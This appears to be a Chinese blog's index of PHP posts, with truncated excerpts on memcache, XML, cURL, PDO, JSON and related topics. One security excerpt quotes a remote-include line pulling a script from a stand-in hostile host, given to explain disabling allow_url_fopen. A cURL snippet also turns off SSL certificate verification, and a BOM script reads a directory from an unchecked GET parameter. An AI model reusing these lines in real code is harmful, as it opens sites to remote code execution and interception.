PHP
php
zhexiao27
Keep going.
展开
-
PHP安装eAccelerator
eAccelerator是一个非常优秀的PHP加速器,通过缓存编译之后的PHP代码文件,使得PHP编译对服务器的开销几乎为零。eAccelerator本身的开销也是极少的 最新的PHP5.4.8安装eAccelerator,需要注意的是要安装高版本的,低了编译不过去。官网:http://eaccelerator.net/ 1.下载安装eAcceler转载 2013-06-21 02:02:52 · 471 阅读 · 0 评论 -
6.文件操作
1.文件操作的安全性由于将文件暴露在Internet后,用户可以下载文件,如果允许通过URL识别文件和目录或从您的站点下载文件时一定要小心,因为如果文件中有include 命令,该命令可以用于从远程Web服务器上执行包含脚本。例如:include 'http://www.hack.com/bad_script.txt' ;建议在php.ini中设置关闭这个功能。allow_url_fope原创 2013-04-03 07:18:04 · 491 阅读 · 0 评论 -
PHP的两个memcache扩展 memcache和…
从手册上明显可以看到这两个扩展:http://php.net/manual/en/book.memcache.phphttp://php.net/manual/en/book.memcached.php在Q群里问了下,没有人能分辨出它们的差别,甚至有人怀疑我说的 Memcache 是 Memcached 服务器(守护进程)。从手册上看,memcached 会比 memcache 多原创 2013-03-28 21:57:58 · 453 阅读 · 0 评论 -
一个简单的PHP操作SQLite数据库例…
简单的用PHP连接SQLite建立表,并使用INSERT和SELECT语句操作SQLITE数据库。 在使用SQLite前,我们要确保php.ini中已经启用sqlite和pdo配置 打开PHP.INI文件,打下以下扩展:extension=php_pdo.dllextension=php_pdo_sqlite.dllextension=php_sqlite.dll sqlite_open命令原创 2013-03-28 21:52:13 · 3185 阅读 · 0 评论 -
Ffmpeg使用语法
ffmpeg [[options][`-i' input_file]]... {[options] output_file}...如果没有输入文件,那么视音频捕捉(只在Linux下有效,因为Linux下把音视频设备当作文件句柄来处理)就会起作用。作为通用的规则,选项一般用于下一个特定的文件。如果你给 –b64选项,改选会设置下一个视频速率。对于原始输入文件,格式选项可能是需要的。缺省情况原创 2013-03-28 21:52:02 · 557 阅读 · 0 评论 -
What the different CURLOPT_CONNECTTIMEOUT and CURLOPT_TIMEOUT
There's a very distinctive differencebetween these two configurations within cURL. I'll try to definethemfor you, and then provide you a very common example which I shareto people who I teach abou原创 2013-03-28 21:59:51 · 2791 阅读 · 0 评论 -
PHP操作XML的经验
最近接了一个项目,很多功能需要以xml为接口来回进行一系列的操作。现在附下我的一点经验。情况一:当是你收到xml信息进行处理的时候,可以用以下步骤 ://输出严格的xml格式 header ( 'Content-type: text/xml' ); echo pack ( "C3" , 0xef, 0xbb, 0xbf ); //通过php输入流得到数据 $userinfo =原创 2013-03-28 21:59:29 · 556 阅读 · 0 评论 -
有关XML的一些操作
最近接了一个项目,很多功能需要以xml为接口来回进行一系列的操作。现在附下我的一点经验。情况一:当是你收到xml信息进行处理的时候,可以用以下步骤 ://输出严格的xml格式 header ( 'Content-type: text/xml' ); echo pack ( "C3" , 0xef, 0xbb, 0xbf ); //通过php输入流得到数据 $userinfo =fi原创 2013-03-28 21:54:56 · 499 阅读 · 0 评论 -
php字符集转码 (兼转载一篇讲解字…
最近遇到utf-8和gb2312间转码的问题,最终通过函数iconv解决 $str_gb = iconv("UTF-8", "gb2312",$str);......$str_utf8 = iconv("gb2312", "UTF-8", $str_gb_result); 当我们不知道传进来的字符集是utf-8或者gb2312时,就得手工判断并采取相应操作了 fun原创 2013-03-28 21:54:44 · 928 阅读 · 0 评论 -
php 冒泡 插入 交换法 选择…
原文地址:冒泡 插入 交换法 选择法 几种排序">php 冒泡 插入 交换法 选择法 几种排序作者:我爱高进// 冒泡排序function BubbleSort($arr) { // 获得数组总长度 $num = count($arr); // 正向遍历数组 for ($i = 1; $i $num; $i++) { // 反向遍历转载 2013-03-28 21:53:40 · 450 阅读 · 0 评论 -
PHP动态库php_mcrypt.dll和php_ope…
我在winXP底下安装的Apache2.2.2和PHP5.2.6。每次启动Apache的时候,总是报php_mcrypt.dll和php_openssl.dll两个动态库加载失败的错误,即:PHP Startup: Unable to load dynamic library'C:\\php\\ext\\php_mcrypt.dll'PHP Startup: Unable to原创 2013-03-28 21:52:22 · 1163 阅读 · 0 评论 -
php操作memcache的使用总结(2)
2.9.Memcache::delete2.9.1.说明 bool Memcache::delete ( string $key [, int $timeout ] )删除某一个变量的缓存2.9.2.参数key 缓存的键 键值不能为null和‘’,当它等于前面两个值的时候php会有警告错误。timeout 删除这项的时间,如果它等于0,原创 2013-03-28 21:58:05 · 434 阅读 · 0 评论 -
12.XML
1.PHP中主要的一些XML扩展1)SAX;2)DOM;3)XPath;4)XSL;5)SimpleXML;6)XMLReader;7)XMLWrite;8)XML-RPC;9)SOAP;2.PHP中有两种主要的XML解析器1)基于树的解析器。它是把整个文档存储为树的数据结构中,即需要把整个文档都加载到内存中才能工作。所以,当处理大型XML文档时候,性能剧减。Simpl原创 2013-04-03 07:18:51 · 536 阅读 · 0 评论 -
12.Web service
1.Zend框架提供了包括一个客户度和一个服务器的XML-RPC实现,它的接口是完全面向对象。1)实例化XML-RPC客户端:$client = new Zend_XmlRpc_Client($xmlrpcServerUrl)2)实例化XML-RPC服务端:$server = new Zend_XmlRpc_Server();2.SOAP Web ServiceSOAP使用原创 2013-04-03 07:19:21 · 617 阅读 · 0 评论 -
2.使用PDO访问数据库
1.DSN:Data Source Name(数据源名称)。2.通常我们使用Prepare和Execute方法查找数据库。调用PDO->prepare会返回一个PDOStatement对象,并在这个对象上调用execute,然后通过一个while循环重复调用PDOStatement->fetch方法来获取数据。 3.解决SQL查询中的错误1)使用默认的静默模式。PDO::E原创 2013-04-03 07:15:51 · 642 阅读 · 0 评论 -
Yac (Yet Another Cache) – 无锁共享内存Cache
作者: Laruence( )本文地址: http://www.laruence.com/2013/03/18/2846.html转载请注明出处好久没有更新blog了, 这一年来的工作确实很忙….. anyway, 今天终于有新东西可以和大家分享.这个idea来自一个很简单的想法, 以及目前所遇到的一个机会. 首先我们来谈谈这个机会.在以前, 很多人都会选择转载 2013-06-11 12:27:09 · 1307 阅读 · 0 评论 -
PHP工厂模式和抽象工厂模式
PHP工厂模式:php设计模式笔记,第二个是工厂模式。工厂,我们就可以联想到是一座房子,里面有N多车间,生产着不同系列的产品。我们如果是采购的话,要看什么产品,工厂很快从随便从其中一个车间拿出一个就解决,不会影响其他车间的工作,各自分工明确。在复杂的情况,也简单化了。php里面的工厂模式,也类似,由一个类,看作是工厂,在类里面构造一个对外方法接口,返回不同类型的类实例。工厂模式的好处:在复原创 2013-05-30 02:47:26 · 760 阅读 · 0 评论 -
curl Error : maximum redirects followed , 这种问题的一种原因 .
在stack overflow 上查找到有些网站上需要返回一些cookie的,所以当我们curl当相应的网站时,必须要将返回的cookie保存起来。 $cookie = tempnam ("/tmp", "CURLCOOKIE"); curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );tempnam(dir,prefix原创 2013-05-29 01:53:10 · 5578 阅读 · 0 评论 -
php 5.3新增的闭包语法介绍function() use() {}
<?php/** * author: selfimpr * mail: lgg860911@yahoo.com.cn * blog: http://blog.csdn.net/lgg201 * 下面提到的代码在PHP5.3以上版本运行通过. */function callback($callback) { $callback();}//输出: This is a anonymo转载 2013-05-23 13:37:30 · 483 阅读 · 0 评论 -
mac上安装apc扩展
1.首先我们需要安装C编译等等:我们首先确保已经安装了Xcode ,然后打开Xcode,点击preference然后找到download。在这里面安装command line tool ,重启command就解决问题。2.安装m4和autoconf# cd /usr/src# curl http://ftp.gnu.org/gnu/m4/m4-1.4.9.tar.gz原创 2013-04-25 11:05:21 · 2711 阅读 · 0 评论 -
PHP常用函数大全
php usleep() 函数延迟代码执行若干微秒。unpack() 函数从二进制字符串对数据进行解包。uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。time_sleep_until() 函数延迟代码执行直到指定的时间。time_nanosleep() 函数延迟代码执行若干秒和纳秒。sleep() 函数延迟代码执行若干秒。show_source() 函原创 2013-03-27 00:52:20 · 799 阅读 · 0 评论 -
有关curl的一些代码
$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_CAINFO, $_SERVER["DOCUMENT_ROOT"]."/application/cacert.pem");curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);c原创 2013-03-27 00:41:00 · 880 阅读 · 0 评论 -
Cannot start session without errors, please check errors given in your PHP and/or webserver log
Cannot start session without errors, please check errors given in your PHP and/or webserver log file and configure your PHP installation properly. 最近在弄盛大的服务器,结果,打开phpmyadmin的时候就出现了这样的错误,在网上看了很多解答原创 2013-03-27 00:26:26 · 519 阅读 · 0 评论 -
PHP面向对象中的聚合和组合
PHP面向对象中的聚合和组合对象之间进行交互主要有三种:继承,聚合,组合,继承大家都很熟悉,这里就不具体介绍了,本文主要介绍聚合和组合的一些内容。聚合:可以理解成第二个对象通过第一个对象的某个方法传递给第一个对象,然后第二个对象就可以调用第一个对象的方法,第二个对象可以根据自己的目的使用第二个对象的功能;组合:用于描述一个对象完全拥有另一个对象的情况,即第一个对象中实例化第二个原创 2013-03-27 00:55:16 · 3271 阅读 · 0 评论 -
PHP自定义本地访问域名
1.修改Window的hosts文件# Copyright (c) 1993-2009 Microsoft Corp.## This is a sample HOSTS file used by Microsoft TCP/IP for Windows.## This file contains the mappings of IP addresses to host na原创 2013-03-27 00:39:25 · 1521 阅读 · 0 评论 -
XMLReader强大的XML解析器
PHP中有两种主要的XML解析器1)基于树的解析器。它是把整个文档存储为树的数据结构中,即需要把整个文档都加载到内存中才能工作。所以,当处理大型XML文档时候,性能剧减。SimpleXML和DOM扩展属于此类型解析器。2)基于流的解析器。它不会一次把整个文档加载到内存中,而是每次分别读取其中的一个节点并允许实时与之交互(当移向下一个节点时,上一个节点是被丢弃,但也设置为保留)。很明原创 2013-03-27 00:43:50 · 3402 阅读 · 0 评论 -
php操作memcache的使用总结(1)
1.简介 memcache模块是一个高效的守护进程,提供用于内存缓存的过程式程序和面向对象的方便的接口,特别是对于设计动态web程序时减少对数据库的访问。memcache也提供用于通信对话(session_handler)的处理。更多Memcache 模块相关信息可以到 http://www.danga.com/memcached/ 查阅。 1.1.memcache在p原创 2013-03-28 21:58:03 · 462 阅读 · 0 评论 -
php的两个memcached扩展 memcache…
现在在php中memcached用的很多,以前一直使用的是php的memcache扩展,最近开始改用了php的memcached扩展(注意这里memcache和memcached扩展的名字就相差了一个d)。或许在google或者百度搜索php的memcached扩展的时候,很多结果是memcache.dll或者memcache.so,很少的结果是memcached.so,windows下面甚至没有原创 2013-03-28 21:58:00 · 611 阅读 · 0 评论 -
Windows安装memcached图文教程
一、下载Memercached For Windows二、安装步骤1、解压到指定目录,如:C:\Memcached\memcached-win32-1.4.4-14。2、用cmd打开命令窗口,转到解压的目录,输入 “memcached.exe -d install”。3、打开控制面板,打开服务,可以看到memcached已经在上面可,如果没有启动,则手动启动一下。4、原创 2013-03-28 21:57:56 · 497 阅读 · 0 评论 -
php中使用parse_url()对网址进行解析
PHP中一个好用的函数parse_url,特别方便用来做信息抓取的分析,举例子如下:$url = 'http://www.electrictoolbox.com/php-extract-domain-from-full-url/';$parts = parse_url($url);print_r($parts);输出:Array( [scheme] => http原创 2012-03-30 18:08:19 · 455 阅读 · 0 评论 -
PHP定时执行任务的实现
config.phpreturn 1;?>cron.phpignore_user_abort();//关掉浏览器,PHP脚本也可以继续执行.set_time_limit(0);// 通过set_time_limit(0)可以让程序无限制的执行下去$interval=60*30;// 每隔半小时运行do{$run = include 'config.php原创 2012-03-30 18:07:18 · 247 阅读 · 0 评论 -
去掉utf8 bom
<?php if ( isset($_GET['dir'] )){//设置文件目录 $basedir=$_GET['dir']; }else{ $basedir = '.'; } $auto = 1; checkdir($basedir); function checkdir($basedir){ if ( !!$dh原创 2012-03-30 18:01:56 · 310 阅读 · 0 评论 -
PHP动态库php_mcrypt.dll和php_openssl.dll无法加载的问题
我在winXP底下安装的Apache2.2.2和PHP5.2.6。每次启动Apache的时候,总是报php_mcrypt.dll和php_openssl.dll两个动态库加载失败的错误,即:PHP Startup: Unable to load dynamic library 'C:\\php\\ext\\php_mcrypt.dll'PHP Startup: Unab原创 2012-03-30 18:13:09 · 1803 阅读 · 0 评论 -
在 PHP 里 使用 CKEditor 和 CKFinder 插件上传图片.
1. 下载安装 CKEditor: http://ckeditor.com/解压下载到的CKEditor放到网站的路径中即可2. 下载安装 CKFinder:http://ckfinder.com/download解压下载到的CKEditor放到与CKEditor同一目录中即可3. 在网页中使用 CKEditor 和 CKFinder:CKEditor 实际是替换一原创 2012-03-30 18:10:00 · 559 阅读 · 0 评论 -
PHP Curl 使用
摘要:在这篇文章中主要讲解php_curl库的知识,并教你如何更好的使用php_curl。简介你可能在你的编写PHP脚本代码中会遇到这样的问题:怎么样才能从其他站点获取内容呢?这里有几个解决方式;最简单的就是在php中使用fopen()函数,但是fopen函数没有足够的参数来使用,比如当你想构建一个“网络爬虫”,想定义爬虫的客户端描述(IE,firefox),通过不同的请求方式来获取内原创 2012-03-30 18:09:04 · 408 阅读 · 0 评论 -
PHP+CKEditor 3配置详细说明(包括图片上传)
首先,我们要在页面中加入CKEditor的js文件: ... 其次,在你要插入编辑器的地方插入如下代码: 文本的默认HTML代码 其中,"editor"是以后你要传给后台脚本语言的post名,也是js要用到的名称。然后,在该页的最底下插入: CKEDITOR.replace(原创 2012-03-30 18:03:46 · 492 阅读 · 0 评论 -
php 数组转xml 数组转json xml转数组 json转数组
转载自 zqlovexpp最终编辑 xiaozhe339array->xmlfunction array2xml($array, $tag) { function ia2xml($array) { $xml=""; foreach ($array as $key=>$value) {转载 2012-03-30 18:03:27 · 443 阅读 · 0 评论 -
json 格式与PHP json 格式
转载自 xieyalu最终编辑 xiaozhe339json 格式与PHP json 格式[5,096 views] Posted in 2010年03月24日 ¬ 10:05h.scofield5条评论 »以前转过一篇关于json格式的文章。今天再重新整理个json格式的例子,以及php json格式与js json之间的调用。转载 2012-03-30 18:02:43 · 356 阅读 · 0 评论 -
UTF-8文件的Unicode签名BOM(Byte Order Mark)问题
近日在调测一个UTF8编码的中文Zen Cart网站时遇到一件怪事,网页显示文字正常,用ie的察看源文件(记事本打开)却发现乱码,firefox没有这个问题。经在网上多方查证和多次测试,解决了这个问题,其实是UTF-8文件的Unicode签名BOM(Byte Order Mark)问题。BOM(Byte Order Mark),是UTF编码方案里用于标识编码的标准标记,在UTF-16里原创 2012-03-30 18:00:41 · 661 阅读 · 0 评论 -
php操作JSON格式数据
php操作JSON格式数据知识点:1、JSON数据格式介绍2、对数据编码成JSON格式3、对JSON数据进行解码,并操作JSON数据格式表示方式如下:{ "programmers": [ { "firstName": "Brett", "lastName":"McLaughlin", "email": "aaaa" }, { "firstName": "Ja原创 2012-03-30 17:59:39 · 465 阅读 · 0 评论